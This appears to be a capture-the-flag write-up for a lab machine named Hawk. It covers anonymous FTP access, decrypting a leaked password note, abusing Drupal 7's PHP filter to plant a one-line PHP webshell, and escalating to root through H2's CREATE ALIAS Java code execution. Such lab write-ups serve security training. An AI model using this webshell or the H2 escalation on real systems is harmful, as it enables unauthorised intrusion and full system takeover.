Hawk
Recon
I started with an nmap scan against 10.129.95.193.
1
nmap -sC -sV 10.129.95.193
The useful ports are:
21vsftpd 3.0.3 (anonymous login allowed)22OpenSSH 7.6p180Apache 2.4.29, running Drupal 78082H2 database console
There are also 9092 (H2 TCP), 5435 (H2 pg) and 3306 (MySQL, only on localhost). The box runs Ubuntu 18.04.
Foothold
FTP
Anonymous FTP is allowed, so I logged in and looked around. There is a messages folder with a hidden file in it: .drupal.txt.enc.
The file is base64 text. After decoding, it starts with Salted__, which means it was encrypted with openssl enc.
Decrypting the file
The password is friends. The key derivation is sha256, so I set that on the command line.
1
2
base64 -d .drupal.txt.enc > drupal.enc
openssl enc -aes-256-cbc -d -md sha256 -k friends -in drupal.enc
The plaintext is a note from IT. It gives Daniel’s portal password: PencilKeyboardScanner123.
Drupal admin
I tried the password for SSH and su as daniel, but it did not work on this box. It did work for the Drupal login as admin, which gave me /user/1.
1
admin : PencilKeyboardScanner123
PHP filter to webshell
Drupal 7 has a core module called PHP filter. It was not enabled, so I enabled it. I kept the 28 modules that were already on.
Then I created a Basic page node and set the body text format to php_code. The body is a small webshell:
1
<?php system($_REQUEST['c']); ?>
Opening the node and passing a command in c gave me command execution as www-data (uid=33).
User
/home/daniel/user.txt is world-readable, so I could read it directly from the webshell.
1
cat /home/daniel/user.txt
Root
Looking at the process list, I saw that H2 is running as root:
1
java -jar /opt/h2/bin/h2-1.4.196.jar
The console on port 8082 refuses remote connections (webAllowOthers is off). But it listens on 127.0.0.1:8082, so I can talk to it from the box itself through my webshell.
The steps are:
- GET
/and grab thejsessionid. - POST
/login.dowithurl=jdbc:h2:mem:test, usersaand an empty password. - POST
/query.dowith the SQL below.
H2 1.4.196 lets us define a function with inline Java using CREATE ALIAS. The Java code runs inside the H2 process, which is root. So the alias can run any shell command as root.
1
2
CREATE ALIAS HAWKX AS $$ ... Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",c}) ... $$;
CALL HAWKX('cat /root/root.txt');
The command ran as uid=0 and I could read the root flag.
I used jdbc:h2:mem:test, an in-memory database. It disappears when the connection closes, so the alias is not saved anywhere.